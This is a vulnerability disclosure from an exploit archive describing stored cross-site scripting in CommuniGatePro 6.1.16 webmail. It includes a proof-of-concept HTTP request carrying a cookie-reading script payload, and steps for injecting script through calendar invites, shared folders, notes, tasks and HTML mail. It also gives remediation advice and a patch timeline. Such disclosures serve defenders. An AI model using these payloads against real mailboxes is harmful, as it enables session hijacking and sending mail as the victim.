CommuniGatePro 6.1.16 - Cross-Site Scripting

EDB-ID: 43177
Author: Boumediene KADDOUR
Published: 2017-11-15
CVE: CVE-2017-16962
Type: Webapps
Platform: Multiple
Vulnerable App: N/A

 # Date: 15/11/2017 
# Exploit Author: Boumediene KADDOUR
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.stalker.com/
# Software Link: http://www.stalker.com/ (paid product)
# Version: 6.1.16<
# Tested on: production server on crystal, pronto and pronto4 webmails from gmail and hotmail.

CommuniGatePro 6.1.16 webmails (crystal, pronto and pronto4) suffer from multiple stored XSS vulnerabilities. The bellow details illustrate the impact of this vulnerability.

Vulnerability Description:

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Vulnerability details (Stored XSS):

This vulnerability allowed us to gain access to the following:

Control the victim's mailbox by just reading my email

Control the victim's computer in case the person uses Internet Explorer 8 which is widely used in our company.

Send emails on behalf the victim

Deface the whole victim mailbox

Invoke the malicious piece of code each time an attachment's sent to the victim.

Vulnerable sections:

Calendar

Files

Tasks

Notes

​Inbox


Attack Narratives and Scenarios:

1. Calendar:

Source webmail: tested with gmail and hotmail

Destination webmail: Crystal

In order to deliver our PoC, we have taken the advantages of google calendar to achieve our goal.


PoC:

POST /calendar/event HTTP/1.1

Host: calendar.google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://calendar.google.com/calendar/render?tab=mc

X-If-No-Redirect: 1

X-Is-Xhr-Request: 1

Content-Type: application/x-www-form-urlencoded;charset=utf-8

Content-Length: 634

Cookie: Mycookie

Connection: close

​sf=true&output=js&action=CREATE&useproto=true&add=boumediene.k%40victim.dz%2Csnbemail%40gmail.com&crm=BUSY&icc=DEFAULT&sprop=goo.allowModify%3Afalse&sprop=goo.allowInvitesOther%3Atrue&sprop=goo.showInvitees%3Atrue&pprop=eventColor%3Anone&eid=762dgnlok9l44rd63im4kisjnd&eref=762dgnlok9l33rd55im4kisjnd&cts=1511425384353&text=%22%3E%3Cimg%20src%3DX%20onerror%3Dalert(document.cookie)%3E&location=Stored%20XSS&details=Stored%20XSS&src=snbemail%40gmail.com&dates=20171123T093000%2F20171123T103000&unbounded=false&gdoc-attachment&scfdata=W1tdXQ..&stz&etz&scp=ONE&nopts=2&nopts=3&nopts=4&hl=en_GB&secid=6VLs1BGsgBB_Tqz6egnXpCYYF24


Once the victim receives the invitation, he/she will not be obliged to click on any link or download any file. The only condition for this PoC to work is a single click to read the email. Once the victim reads the email, the code gets executed on the victim's browser ending up sending sensitive data to the adversary.

2. Files:

Source webmail: pronto/pronto4/Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

Go to file section.

Create a directory

Name the directory with any JavaScript code, in our case (<img src=X onerror=alert(document.cookie)>)

Share or grant access to victim to be able to at least read the content of the directory

The victim then recieves the email of granting access to that directory

The vitim reads the email and then accesses the directory ending up executing the code within its scope of work

3. Notes:

Source webmail: Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

Create a note

Put the JavaScript code within it

Share it with the victim

4. Tasks:

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

Create a task

Put the JavaScript code within the task name

publish it

5. Inbox

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

Create an html file with malicious JavaScript piece of code

Make use of Pronto to send the email to the victim

The victim reads the email using Crystal webmail and the code gets executed.

​Remediation:

Sanitize, escape and validate user supplied data accordingly

Vulnerability Disclosure Timeline:
==================================
23 Nov, 17 5:36:09 PM: Vendor Notification
23 Nov, 17 6:56:33 PM: Vendor Response/Feedback
24 Nov, 17 : Vendor released new patched version 6.2.1 and included fixes on version 6.1.19 as a separate Crystal skin package (to be installed as cluster/server-wide custom skin)

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